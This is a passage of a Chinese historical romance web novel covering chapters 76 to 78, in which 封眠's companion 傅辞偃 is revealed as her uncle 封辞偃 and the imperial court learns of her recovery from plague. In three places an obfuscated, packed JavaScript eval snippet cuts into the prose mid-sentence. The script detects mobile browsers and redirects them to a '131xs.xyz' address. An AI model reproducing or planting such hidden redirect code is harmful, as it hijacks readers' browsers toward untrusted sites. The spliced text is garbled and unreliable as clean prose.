向来惯于自己作对的儿子送上门来主动求着要挨打,定北王心里自然是乐开了花,但嘴上可不好这么承认,狡辩道,“这不是要全力配合他的苦肉计吗?叫咱们的儿媳一见便为他心疼,一心疼,感情不就好起来了吗。” 王妃无奈摇头,“那便希望阿琢这苦肉计没白挨吧。” 灯烛错落摇曳,沾着药膏的手指轻缓地划过白净皮肤上的於痕,痒得百里浔舟肩头一缩,又被封眠以掌心拍了下肩。 “别动。” 百里浔舟立时便不动了,无声地轻轻吐着气,肩背肌肉依然紧张地绷紧。 於痕向下没入后腰,封眠轻轻抵着他的脊骨一推,轻声命令道:“趴下。” 百里浔舟顺从地向前趴靠在引枕上,便觉一只手握住了他的裤腰向下拉,惊得他险些弹坐而起。 他蹬着腿,捂着后腰,半转过身来,像一只受惊的狼犬炸了毛,圆睁着一双原本锐意十足的眼,显出几分无辜懵然,期期艾艾说不出话:“你、你……” 脱他裤子干什么? 封眠被他吓了一跳,手还悬在他腰的位置上,张嘴打了个磕绊:“有、有伤……” 百里浔舟心下狂跳,面上通红,暗暗埋怨父亲打的不是地方,怎么能,怎么能…… 他是存了些使用苦肉计顺带展露一下美人计的小心思,可怎么能,怎么能…… 两人都垂着眼,一时谁也没敢看谁,空气渐渐粘稠得像是被倒了一锅糖浆一般。 笃笃,房门突地被敲响,接着传来轻衣一板一眼的声音:“世子殿下,有军情上报。” 裹着屋子的透明气泡被戳破,粘稠的糖浆汩汩流走了。 屋内的两人回过神来,百里浔舟提着裤腰站起来,耳后热气未消,觉得自己方才的反应实在是大惊小怪,丢脸至极。 他什么大风大浪没经过,不过夫妻之间脱一下裤子上一下药,做什么跟被揪住了尾巴似的? 明日,明日定要去父亲书房中将他藏起来的禁书翻出来研读! 百里浔舟兀自平复好心中山呼海啸的情绪,不舍道:“那我先出去一趟。” “嗯,嗯,药也上得差不多了。”封眠胡乱地点头,将金疮药搁到榻上,正准备帮百里浔舟穿衣,就见方才还说胳膊抬不起来的人已经迅速穿好了中衣,指尖正灵巧地将系带打结。 “你胳膊没事了?” 百里浔舟动作一僵,缓缓地落下双手,露出意外的神色,无辜地看向封眠,“就好了一下,现在又不好了。” “……” 看来这胳膊的好坏,全在他一句话之间。 封眠未戳穿他,上前替他穿上外裳,束好革带,两手勒着革带一扣,才意识到他的腰有多劲瘦有力。 指尖痒痒的,有些想摸一下。 封眠忍住,正要抽手离开,百里浔舟骨节分明的手掌覆在她的手背,几乎将她的手包在了掌心。 他温声报备道:“你早些休息,待会儿若是忙得太晚,我就直接宿在营中了,明日再回来。” 封眠点了点头,百里浔舟才依依不舍地往门外走,走到门口又停住脚步,回头叮嘱:“你今日没怎么吃东西,待会儿让人送一碗热羹来,暖一暖胃再睡,可好?” “好。” 百里浔舟一步三回头地出了门。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355680|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等在门外的轻衣心下还泛起嘀咕:世子殿下今日动作真慢。 夜深,屋内习惯性地留了一盏灯,厚厚的灯罩罩着,只发出微如萤火的一点光来。 层层垂落的床幔之后,穿着月白寝衣的封眠将被子拉至下巴处,闭上眼睛睡觉。 “我不认识安乐公主,我只认识你。” 刚一闭上眼,星月之下百里浔舟说的那番话就在她耳边响起。 她睁开眼,盯着头顶床帐上绣着的榴花花纹。时隔几日,终于在熟悉温暖的床帐间躺下,松懈下来的大脑便开始反复回想这几日百里浔舟的一言一行。 他这话是什么意思呢? 封眠翻了个身侧躺,盯着眼前的手指,又想到今日给百里浔舟上药时,看见的宽肩窄腰,肌肉线条流畅而漂亮,细而不弱的腰侧似乎还有腰窝,很漂亮。 她蓦地羞红了脸,低头把自己埋进被子里,双脚在床上蹬了蹬被子。直到感觉呼吸有些困难了,才重又探出头来,露出一张红扑扑的脸。 冷静下来,她开始觉得百里浔舟很有问题,大婚那日她主动要给他上药时,他还百般不愿,今日竟还装着胳膊抬不高,骗她帮他脱衣裳。 他肯定不对劲。 但封眠于情一道,实在没有什么实践经验,虽然很想问他一句“不和离了吗?”,却也不知怎么问出口才合适。 封眠就这么念着一桩心事,在脑海中胡思乱想了些情境,慢慢睡了过去。 翌日一早,封眠正用早膳,忽来人通传说傅辞偃求见。 这么一大早,他有什么要紧事? 侍女领着傅辞偃进来,他穿一身玉簪绿的细麻直裰,一条深色皮革腰带利落地束出窄腰,懒散地晃悠了进来,如同进自家后花园一般自在。 封眠礼貌地问:“可有用过早膳?” “未曾。”他不客气地在封眠面前坐下,“既然郡主相邀共用早膳,那我便不客气了。” 封眠:…… 她只问了一句可有用过早膳,哪里相邀了? 罢了,她咽下一口汤羹,问道:“傅公子一早过来,是有何要紧事?” 傅辞偃慢条斯理地剥了个蛋,道:“我是来辞行的。” 封眠一怔,这才想起与傅辞偃本就是在黑石沟意外相遇,他并不是她的亲朋好友、手下属官,自然是会走的。 傅辞偃这人其实并不多讨人喜欢,但不知为什么,听他说要离开了,封眠心下还有些舍不得。 到底也是相处了好几日,又一道历过疫病,也算得上是共患难过的友人了。 天地茫茫,以后未必有机会再见, “若你日后有需要帮忙的地方,尽可着人给我传信。檐下挂着‘封’字牌的……” “都是你名下的店铺。”傅辞偃截了她的话头,眼底漾起几缕笑意,“我知道。你铺子开得很不错嘛,北疆半壁商户,都快成封家的了。” 言语间,竟似是有些骄傲。 封眠觉得有些奇怪,没太往心里去,又问道:“你要去何处?可需要派人送你一程。” “去盛京,见一见故人,郡主不必相送。” 说这话时,他身上那种浮荡公子的气息蓦地沉静下来,整个人显得深邃了许多,如云遮雾罩。 “日后或许不会再见了,此物送予你……”他说着,将半握着什么东西的手伸向封眠的方向。 “住手!” 凌厉一喝自院门方向传来。 封眠扭过头去,便见见百里浔舟手持弓箭出现在院门口,箭尖对准了傅辞偃。 76. 第 76 章 四周雅雀无声,小院墙头已悄无声息地伏满了疾羽营士卒,密密羽箭皆瞄向傅辞偃,他若有任何异动,立时便会被万箭射穿。 院门处的百里浔舟额上覆满薄汗,胸膛急促起伏着,得知傅辞偃来见封眠后,他便一路奔袭,赶回来便看见傅辞偃正与封眠同坐一桌,向她的方向伸出手,不知要做什么,当下惊得心都快跳出来了。 百里浔舟厉声道:“把手放下,离她远点。” 傅辞偃神色镇定如初,似乎毫不在意正被数万只箭羽瞄准。他从善如流地收回手,慢条斯理地甩了甩袖子,“用个早膳而已,世子殿下做什么弄出这么大的阵仗?” 对面的封眠将身子略向后仰了仰,藏在袖中的手,缓缓握住了防身的匕首。百里浔舟总不会无缘无故地带兵闯进来,虽然没从傅辞偃身上嗅到危险的气息,但她信他自有理由。 “你还要装模作样到什么时候?”百里浔舟眯起双眸,黑瞳中燃着愤怒的火苗,“你不知道吗?阿尔纳部的人正在大肆搜寻你的踪迹。” 原本身形懒散的人陡然侧首,冰冷的目光射向百里浔舟,声音冷诮:“是吗?找我做什么?” 见他仍一副不见棺材不掉泪的模样,百里浔舟微微向侧后偏头示意,两名士卒压着一名阿尔纳部的俘虏上前。 “仔细瞧瞧,是他吗。”百里浔舟的声音中带着一抹肃杀的凉薄。 那名俘虏抬起满是血污的脸,只瞧了傅辞偃一眼,就仓惶低下头去,用蹩脚的大雍话说道:“是,大王要找的人,就是他!” 傅辞偃忽然动了动,百里浔舟立时拉紧了弓弦,却见他只是起身理了理衣袍,旋即竟泰然自若地踱步走向百里浔舟。 两名疾羽营侍卫在他动作的瞬间,迅捷跳入院内,将封眠和流萤、雾柳护到了身后。 在距离百里浔舟和那名俘虏几步远之外,傅辞偃方停下脚步,饶有兴致地盯着那名俘虏,与百里浔舟说话:“你没问问他,他们大王找我作甚?” 俘虏忽然以头抢地,磕出巨响,扬声嚷道:“您是大王帐下最信任的谋士,自打入了大雍便失了行踪,大王担心,命我们私下搜寻!” 铿锵有力,不打磕绊的一长串话砸入现场众人的耳中,令大家都愣怔了一瞬。 封眠先是震惊于傅辞偃竟与阿尔纳部有关联,接着又疑惑,若阿尔纳部这位大王如此重视傅辞偃的安危,手下士兵即便是在刑罚之下供认出他的身份,也不应在万箭所指的此刻,火上浇油一般嚷嚷出大王如何重视他。 怎么听起来像是生怕他死得不够快。 口条还一下子变得如此顺溜,好似提前背过一样。 “啊,竟然长脑子了。”傅辞偃轻轻地,毫无波澜起伏地表达着自己的惊讶。 他将目光转向百里浔舟,“世子殿下意下如何?现在要杀了我吗。” 百里浔舟:“……” 总觉得他方才两句话意在嘲讽他没长脑子。 方才他是关心则乱,如今封眠已然平安,他冷静下来也咂摸出几分不对劲来,只是手中弓箭仍未放下,冷声道:“空穴来风,你先与我回疾羽营,慢慢分说。” 两名疾羽营士卒应声上前,自左右逼近,伸手便欲反剪傅辞偃双臂,将他押走。 “不巧,我今日便是来辞行的。” 傅辞偃散漫的目光忽而一利。 左侧士卒的手即将触到他肩头的刹那,他身形微侧,向前迎了半步,右手如电探出,格挡住那士卒伸来的手臂,左手顺势拽走了他腰间佩剑。 傅辞偃握住剑柄的同时,以右足为轴,旋身避开右侧士卒的猛扑,左手握剑就势向后一送,将其击飞。 电光石火之间,百里浔舟射出手中箭,金石破空之声骤响,傅辞偃后仰躲避,锐利箭尖擦着他的脸颊而过,留下一道细小的擦伤。 百里浔舟反手抽箭搭弓,脚下挪移,再次瞄准傅辞偃。而傅辞偃亦将手中长剑刺向百里浔舟。 “住手!” 千钧一发之际,又一人气喘吁吁地闯了进来,顾春温竭力一喊:“封小将军,住手!” 咔嚓,羽箭与长剑相击,断成两截的羽箭落地的瞬间,场面也为之一静。 封小将军,是谁? 顾春温向来从容优雅的形象此刻有些狼狈,他上前两步,横身挡在百里浔舟与傅辞偃之前,看向傅辞偃,“封小将军,你还要伪装到何时?” 封辞偃盯着他看了半晌,随意丢开手中的剑,笑了:“你是怎么猜出来的?” 此刻他已全然扫去一浮荡书生的气质,脊背挺直如利剑,语调虽还是有些漫不经心,但周身已掩不住沙场历练出的凛然气势。 “你的好恶都太明显了。” 满场静寂之中,众人都还在消化“傅辞偃其实姓封”这个消息,尚处在脑筋转不动的阶段,唯有顾春温慢条斯理地说着自己的推断,也让众人混乱的思绪随着他的一字一句变得清晰。 “自打相遇起,你便对郡主格外关心,却又不是出于男子对女子的倾慕之心,反而隐隐有着长辈的关切。此番回程,听你提起镇国大将军,我本以为你只是封家的旧识。” 但他回去后翻阅旧时与师长之间的书信,试图找出姓傅且与封家往来密切的家族,却忽然想起,镇国大将军封辞胥,还有一个小他二十岁的幼弟。 “这位幼弟乃大将军庶母所生遗腹子,自幼长于大将军之手,不离左右。但在大将军故去后,便不知所踪。彼时小将军只是锋芒初露,是以并无多少人注意,遂无人再提起。” 顾春温一瞬不瞬地盯着封辞偃,“算算年纪,如今恰好二十又五,与你一般。我没说错吧?” “只有一点错了。”封辞偃略带冷倦地垂下眼,“我早已不是什么小将军。” 言下之意,便是承认了他便是镇国大将军封辞胥那已经失踪十一年的幼弟。 “你……”封眠满心震惊,下意识向前走了两步,忽又迟疑地顿足,不敢置信地望着不远处的青年,只觉周遭的一切都带上了一种不真实的缥缈感,喉咙仿佛被什么东西堵住,发不出话音。 他是父亲的弟弟,那么…… 封辞偃偏头看向她,与她生得有几分相似的眼瞳中多了许多温柔。 “小满。”他第一次唤她的乳名,却毫不生疏,仿佛已在心中念过千百遍,“你应叫我一声小叔叔。” 封眠哑然,她只知父亲的父母早亡,却从未有人提过他还有一个同父异母的亲弟弟,她以为父亲那一脉的亲戚早就已经断绝了。 难怪她初见傅辞偃时便觉得眼熟,这时再瞧,才意识到他眉眼间与父亲,与自己,都有几分相像。 落拓身姿被框于天地之间,恍惚间,封眠仿佛跨越时空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365519|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长河,再次与父亲对视,让她不自禁地红了眼眶。 “你你你你……”比封眠更加震惊愕然的,却是百里浔舟。他握着弓箭的手都僵住了,手中羽箭放下也不是,搭弓也不是。 他的目光在封辞偃与封眠之间来回打转了好几圈,不得不承认,若留心细瞧,他们眉眼间确实有些相似之处。 “你既然……你与阿尔纳部……”百里浔舟心中一阵惊涛骇浪,疑云遍布,封辞偃消失这么多年到底去做什么了,惹得阿尔纳部众人追寻? 想问的问题太多,一时之间竟不知先问哪一句。 封辞偃没好气地瞧他,“你被鸟叨了舌头?” 百里浔舟:“……” 很气,但现在封辞偃身份已经不一般了,他摇身一变成了封眠的小叔叔,眼瞅着封眠看向封辞偃的目光已经变得亮晶晶水汪汪,百里浔舟还如何能出口顶撞“长辈”? 一场内斗消弭在顾春温的“揭穿身份”之中,在场众人都被百里浔舟下了军令,不得走漏丝毫风声,以免阿尔纳部的人闻着味儿摸过来。 封辞偃本说自己有要紧的事,要即刻入京,却不肯与封眠说清楚到底是什么要紧之事。封眠刚与小叔叔相认,心中有许多疑惑要问,当即挽着他的手臂不让他走。 封辞偃到底对侄女心软,叹一口气:“你这样留我,显得我今日非要走,还与百里动起手来,很呆。” “此一时,彼一时,我看谁敢拿此事笑话你?” 百里浔舟默默移开了视线,欲哭无泪,觉得自己好不容易在封眠那里占领的地位,迅速被旁人“鸠占鹊巢”了。 那不要脸的鸠还拿捏起了长辈的做派,处处刁难起他这可怜的小鹊来,百里浔舟觉得自己遇到了“恶婆婆”。 “茶太烫了,世子殿下平日便是这般喝茶的?” 众人围坐在桌前,不便唤侍婢在旁,百里浔舟便自觉地替“长辈”斟茶,就被他一会儿刁难凉了,一会儿刁难热了,若不是看在封眠的面子上,百里浔舟真想把茶泼他脸上。 “小叔叔,热了你就晾一会儿再喝。”封眠看不过眼,将再次起身端茶水的百里浔舟拉着坐下,“世子平日又没伺候过人,你这般为难他做什么?” 被封眠一维护,百里浔舟立即神清气爽起来,连带着瞧封辞偃时,包容度都变高了。可见世上所有的婆媳关系,都怪夹在中间那人不作为! “他平日连杯茶都不给你倒?”封辞偃蹙眉,又找到一个可以攻击的点。 百里浔舟:?你在拿自己和谁相提并论?你们俩能比吗? 封眠安抚地在桌下拍了拍百里浔舟的手,转移话题:“小叔叔,你为何一开始不与我相认呢?” 若不是顾春温留神,今日封辞偃走了,日后她上哪里去知道自己还有一个小叔叔? 封辞偃顾左右而言他,摸了摸自己脸颊上再晚一炷香就要愈合的伤口,故意叹气道:“唉,世子殿下的箭法当真是奇准,我都闪得那般快了,还是被划伤了,若是再慢上一点,怕是这脑袋就要被你当糖葫芦串起来了。” 百里浔舟:“……” 怪他吗? 封眠主持公道:“此事可怪不到世子头上,若不是你隐瞒身份,又与阿尔纳部不清不楚,世子今日岂会执箭对着你?” “你不许再绕弯子,为何一开始不愿与我相认?” 77. 第 77 章 “你不肯说,所以此事与我有关?” 封眠目光如炬,紧紧锁住封辞偃。 在她不依不饶的逼视之中,封辞偃默然移开了视线,拒绝与她眼神接触。 “喔,或者说,与我父亲有关。”她音调不高,却字字清晰。 笃定的语气令封辞偃忍不住皱了皱眉,“你非要打破砂锅问到底吗?” 他以为某些心照不宣的沉默还是很有必要的。 但封眠不喜欢这种被瞒在鼓里的感觉,诚然也许有些欺瞒是善意的,可此事关乎人命与真相,她直觉必须得问个清楚。 “十一年前你失踪后,是不是就想办法混入了阿尔纳部?” 封辞偃没说话,默认了。 百里浔舟咬牙切齿,小发雷霆地用半个手掌一拍桌,“难怪这些年阿尔纳部频频作妖,果然背后有矮人指点!” “……” 屋内略显肃然的气氛被这神来一笔的“矮人指点”冲淡了几分,封辞偃无语地瞧他一眼,不得不为自己辩解一句:“我没给他们谋划过针对大雍的策略。” 这话让百里浔舟心中松了口气,他想着,封眠大约也很难接受自己的小叔叔帮着外族侵犯大雍百姓,才故意有此一问。 封眠垂眸思忖片刻,再抬头时目光清亮如雪,直直看向封辞偃,声音轻而坚定:“所以父亲的死并不简单,对吗?” “上一辈的事,与你无关。”封辞偃开始搜寻屋内有没有其他可以落座的地方,真不想跟这孩子同桌而坐了。 这话说得太过冷硬,在座众人都愕然瞪他,虽知他是不想让封眠掺和进某桩麻烦事里,但这话说出口也委实有些太凉薄了。 封眠亦有些被气到,抓着他的衣袖将他摁在原地无处可逃,怒而发问:“死去的是我的父亲,怎么能与我无关?” “他养过你吗?”封辞偃忽然冷声问道。 嘶……有人倒抽一口冷气。显然没想到封某人口中还能吐出更为凉薄的字眼。 屋内静得落针可闻。 顾春温和百里浔舟对视一眼,难得站在了同一阵线,正准备说些什么,却听封辞偃继续道。 “他只陪过你三日。只为了这三日,你凭什么要因为他的死而背上仇恨?这对你不公平。” 百里浔舟和顾春温对视一眼,又坐住了没有说话。 “若父亲的死是人为,便事涉朝堂,并非仅仅只是私仇。况且,虽无养恩,亦有生恩。父亲说过,并非他不想将我带在身边,而是……”封眠的话音戛然而止,脸色倏地煞白,瞳仁因震惊而放大,嘴唇轻颤,“父亲的死,与舅舅有关吗?” 窒息般的寂静笼罩了整个房间。 百里浔舟在桌下悄然握住封眠冰凉的手。 封辞偃叹了口气,“你与阿兄一样,就是不愿做一个糊涂人。” 周身的空气仿佛寸寸凝结成冰,冷得令封眠难以喘息。 “我不能确定,他在其中是否做过手脚。” 此话一出,封眠方才觉得自己又能呼吸了,一旁的百里浔舟比她还要迫不及待:“什么意思?” 封辞偃知道就算自己想瞒下去,封眠也定然不会罢休,从他这里问不到,也会去别的地方查,何必再让她劳心费神,便干脆将一切和盘托出。 “阿兄当年与定北王约定,于拥雪关外将北夷彻底驱逐。” 听见还有自己父亲的事,百里浔舟警觉地向前倾身。 “他提前一夜,率兵埋伏在拥雪关外的侵云岭。但计划被人走漏了风声,阿尔纳部知悉了他的方位,反将他一举合围。” “阿兄率军血战,原想着坚守至次日援军抵达,但定北军迟迟未至……” “不可能!”百里浔舟霍然起身,“父亲绝非背信之人,更不可能延误如此重要的军机!” “坐下。”封辞偃语气沉静,“急什么?我还没说完。” 百里浔舟耐着性子坐回去,眉峰紧蹙,听他继续往下说。 “我从悬崖上摔下去,意外保得一条性命,昏迷月余。醒后才知道,那样一场疑点重重的战事,竟被轻描淡写一笔带过,只道阿兄不敌阿尔纳部,战败而亡。” “我信不过身边任何人,便决定假死消失,暗中查探。” 他只用一句平淡的话轻巧带过了过往的十一年,但听者都知这其间有多少惊险与苦楚。 百里浔舟想起来之前得到的消息,阿尔纳部要寻的人“面上有一道自右上横贯左下的伤疤”,惊疑不定地打量他如今看来十分光洁的面部,“所以你在阿尔纳部时脸上的伤疤……” “我好歹随阿兄上过几次战场,与阿尔纳部正面交锋过,自然需做些伪饰。”封辞偃淡然解释,阿兄曾夸过他俊俏,因这一句话,他也不会对自己的脸下死手。 “这些年我在阿尔纳部苦心经营,发现他们并未与定北王有何联系,却与盛京某些势力一直暗中往来。” “所以我推测,当年之事,定北王应当也被蒙在鼓里。许是有人从中作梗,误传了军令。” 百里浔舟的眉心这才松开些许。 封眠轻声道:“或许……舅舅也不知道呢?” 哪一朝的天子会在自己身侧留下通敌叛国的逆臣不去查,放任这么多年? 但封辞偃不大讲道理:“那谁知道呢?陛下向来厌恶我阿兄,便是知道有问题,也未必愿为他彻查。包庇与嫌犯同罪。” “你这是偏见。” “长辈的恩怨你不懂,他的厌恶,可不是普通的厌恶。” “你当年也只有十四岁,比我如今还小三岁,你又能懂多少?” 封辞偃伸出手指来戳她的额头,“那我也懂得比你多,小笨蛋。” 封眠长到这么大,只有她笑褚景涟笨蛋的份,还是头一次被别人戳着脑袋叫笨蛋,气得两颊都鼓了起来。 “你是不是还查到了别的证据?你定是找到了盛京与阿尔纳部勾结之人的线索,所以今日才要辞行?” 尝试插科打诨,将此事囫囵过去的封辞偃:“你怎么还记着?” 封眠不说话,只一味地盯着他看,盯到他叹气投降:“只是有些线索。具体证据,还要入京之后才能筹谋。” 他仍是没有说到底查到了什么线索。 “你就这样一个人入京,难道没想过,若是被幕后之人发现了,会将你灭口的!” 想过啊,所以这不是来找你道别了吗? 此话封辞偃只敢在心里想想,怕说出口来,将面前的小侄女气得跳脚。 其实最初他并未将这未曾谋面的小侄女放在心上,只是刚回到大雍时,便意外听见了封眠的消息。阿兄在世时,他便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370763|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总听阿兄念叨着“小满长,小满短”的,才想着顺路过来替阿兄瞧一瞧,日后与阿兄黄泉相见,也好有所交代。 待见了面,他才发现封眠在许多地方都与阿兄极像,果敢,勇毅,也与嫂嫂一般温柔良善。 他与阿兄差了二十岁,父亲在他出生前便去世了,母亲生下他后也很快撒手人寰,长兄如父这个词在他身上,当真是人生写照。 十几岁正叛逆的年纪里,他与阿兄针尖对麦芒,吵到最凶时甚至离家出走,是嫂嫂从中斡旋,温柔地融化了他的刺。 他觉得自己比封眠幸运,因此面对阿兄与嫂嫂留在这世间唯一的,活着的遗物,难免歉疚怜惜之情愈深。 封眠见他半晌不说话,便知他此去定然就没想着要活着回来,顿时气不打一处来,正要任性一把发作,却见他忽然自袖中拿出之前没能递到她手上的东西,送到面前,是一枚玉环,半面雕刻着槐花,刻痕突兀地停在交界处,玉环的另一半光洁无痕。 “阿兄本想雕枚玉环送你把玩,却只完成了一半。我犹豫了许久也未将它补完……” 封眠接过玉环,触手生温,指尖摩挲过表面雕刻的槐花纹路,停在它突兀的断痕之处,忽然问:“父亲有没有教过你,如何做槐花麦饭?” 封辞偃愣了一下,点头:“自然教过。” “明年生辰,我要吃你做的槐花麦饭。”她忽然如此要求道,语气坚决。 幼时父亲带她出宫的那三日离,亲手给她做了一碗槐花麦饭,说母亲也最爱此味,那香甜的味道她记了许多年。虽然这些年每到槐花盛开之际,她都会找不同的厨子做一碗槐花麦饭,但一直都没吃到当年父亲做出的那种味道。 封辞偃既然学过,自然要给她做上一碗才行, 其实言下之意,便是不许他孤身入京犯险,怎么也要好端端地活到明年她过生辰才行。 封辞偃:“……不行。” 等到明年也太久了。 “你急什么?”封眠蹙眉,“舅舅还活得好端端的,大雍也不会一夕崩坏,留给你伸冤的时间多得很。况且如今你的身后并非空无一人,又没到需要以命相搏的时候,做什么急着去盛京送命?” 明明有更稳妥的路可以走,非要白白牺牲性命做什么? 封眠没说出口心底隐隐的不安,封辞偃说舅舅厌恶父亲,并非是玩笑之语,若是舅舅真的明知父亲的死有问题,却放任不管,她要怎么办? 盛京,皇宫。 “公主,您慢些,奴婢听说今日太子殿下也在呢,恐怕不好打扰……” 宫墙之下,碧桃小跑着追在褚景涟身后。 “在就更好了,太子兄长平日里也最是关照封眠,我倒要问问他们,封眠得了疫病的事,到底是不是真的!” 褚景涟拎着裙角跑得飞快。 其实她是不信的,封眠从小虽是小病不断,却没什么大病,因她是个极其惜命之人,怎么可能放任自己陷入那种危险之中?疫病一个不好,可是真的会死人的!还会死得很难看,她好歹也是金尊玉贵的郡主了,谁敢让那些病患接近她? 她一路不歇地跑到明心殿前,守在门口的大监忙伸手拦:“公主不可……” 殿内忽地传来摔砸奏折的巨响,大监一瞬分了神,褚景涟一矮身就从他手底下钻了进去。 78. 第 78 章 偌大的书房内静得针落可闻,两侧廊柱下伺候的宫人皆屏息垂首,瞧见一双金丝牡丹缎面绣鞋蓦地闯入,疾步踏过织金地毯,众人飞快抬眼一瞥,见是昭宁公主,谁也没敢上前去拦。 几本奏折横七竖八地躺在地上,嘉裕帝正拧着眉看下一本奏折,面色沉郁。 褚景涟踮着脚绕过去,没敢去喊父皇,悄悄挨到下首长身玉立的太子兄长身旁,正想与他搭话,一抬眼却愣住了。 向来都是面色温和如春风的太子兄长,此刻面无表情,唇色苍白,长睫黑压压地垂下,仿佛在竭力克制着某种翻涌的情绪。 她从未见过太子兄长这般难看的脸色,不用再开口询问,也知道现下是什么情况了。比思绪先反应过来的,是眼中落下的一滴泪。 察觉到颊侧濡湿时她吓了一跳,赶紧抬袖抹掉。一面质疑自己哭什么,一面提醒自己可不能在此时此刻当着父皇与太子兄长的面哭出来,他们两个看起来像是随时都能暴起的样子。 砰! 奏折被砸在桌案之上,弹起滚落在地面,什么温润气度都荡然无存,嘉裕帝一双凌厉凤眼中几乎射出火光来,“他百里一家的脑袋是戴够了吗?竟让小满身陷如此险境!” 语罢,他气得猛咳起来。 赈灾的官员他派了,问罪的文书他下了,为防范疫病,他也提前派了医官往北疆去,只是医官队伍还没到,便传来疫病爆发的消息,朝堂上下正为此事吵得焦头烂额,雪片般的弹劾奏章更从四面八方飞来,直指定北王护卫不力,陷清平郡主于险境。 一连几本奏折看得人心惊肉跳,肝火大动,直到翻出定北王亲自呈上的请罪奏折,坐实了封眠染上疫病的消息,彻底点燃了嘉裕帝怒火。 太子褚景泽缓步上前,捡起方才被摔下来的奏折,翻开看了一眼,深黑的瞳孔瞧不出喜怒,下颌微微收紧,侧脸线条绷得冷硬如刀。 开口时,语气像是冰封湖面下涌动的水流,寒凉却竭力克制,“气大伤身,请父皇保重龙体。” 他将奏折搁回桌案之上,斟了杯热茶奉上。嘉裕帝喝下一口热茶顺了顺气,方才止了咳,只是怒气仍然难消。 “北疆路远,定北王的奏折今日才送到,小满……”他顿了顿,没接着说下去,但在场众人都知晓他的未尽之语。上报封眠染病的请罪奏折今日才到,距离封眠染病必然已经过去了数日,如今是吉是凶,犹未可知。即便此刻再从盛京派遣太医,恐怕也为时已晚。 嘉裕帝此刻无比后悔将封眠嫁去那么远,若非那命格之说……他的目光忽然扫到褚景涟,顿生迁怒,“你在这里干什么!” 褚景涟吓得一颤,对上嘉裕帝隐含责难的目光,这才想起来最初要被嫁去北疆的人本应是她,若非母妃暗中斡旋,如今遭罪的人说不得也应是她了。 这般想着,她已下意识跪倒在地,绞着手指道:“女儿、女儿心中担心清平妹妹安危……” 说上几句,她心中又溢出委屈来,父皇又为了清平凶她,早知如此,她便先去寻母妃了,自己巴巴地跑来父皇面前做什么? 面前忽然一暗,褚景泽挪了一步,挺拔身影将她遮在身后,“父皇息怒,昭宁与小满姐妹情深,怜她远嫁,定是一时关切过头,才不及通传便贸然闯了进来,还望父皇勿要怪罪。” 褚景涟泪汪汪地仰首看着褚景泽高大的背影,心想还是太子兄长对自己好! “郡主——!” 殿外忽然响起一道尖利的通报声,一名内监大汗淋漓地冲入殿中,外头的大监听见是郡主的消息,根本拦也不拦,赶紧侧身让他进去。 内监冲到近前一个滑跪,将手中的信函双手高举过头顶,气尚未喘匀便抢先禀报:“郡主来信报平安!” 话一出口,他才重重喘了口气。都知道郡主的来信紧急,是以这一路分了三道人接力,他是最后的那一个,听说从北疆那边来传信的人一路不歇,三天一换,千叮咛万嘱咐,呈信时定要抢先报出平安,免得陛下还要先看信才能确认郡主的平安。 封眠在得知定北王上了请罪折子后,立即便派人马不停蹄地进京报平安。她还懊恼着,早知道瞒不住的话,就应先与定北王通个气才好。 怪她与定北王的交道打得少了,想当然了一些。毕竟寻常人遇见这种事,哪个不是先将消息捂住,观望几日事态发展再上奏,他倒耿直,刚得了消息就马不停蹄地写折子请罪。 褚景泽忙取了信递予嘉裕帝,嘉裕帝展信细看,面色稍霁:“小满无事,病已然好了!” 听闻此,褚景泽眼底也稍稍回温:“吉人自有天相……” 他话未说完,尚且跪着的褚景涟便立即接话道:“是啊父皇,那百里世子可是清平妹妹的‘解厄星’呢,有他陪在身边,清平妹妹定然是能逢凶化吉,健康平安的!” 她迫不及待想将命理之说再敲得实一些,没注意到太子兄长轻轻瞥向她的一眼。 她只想着,日后封眠再出点什么事,可别再怪到不该将封眠嫁去北疆上头了,活像都是她害的一样。 此话说得嘉裕帝心间甚慰,抬抬手让褚景涟起身了,继续细细看信,忍不住又念叨起来,“这孩子,离得远了,便不知好好照顾自己,是她自己非要留在疫病爆发之地不肯走,说是放心不下。” “那么多官员都是吃干饭的不成?看来是得派巡按御史再去走一遭了。” 嘉裕帝神色忽喜忽忧忽怒,心神完全被封眠信上所写牵着走,一面赞她临危不惧,心怀百姓,为舅解忧,一面嗔她不顾惜自己的身体,令舅担忧,对封眠的喜爱关切几乎快从言语间溢出来了。 见总算没有再被父皇迁怒的风险,褚景涟松了一口气,旋即又委屈巴巴地泛起酸来,总是这样,父皇心里就只有封眠,凡是在父皇面前对上封眠,她便从没赢过! 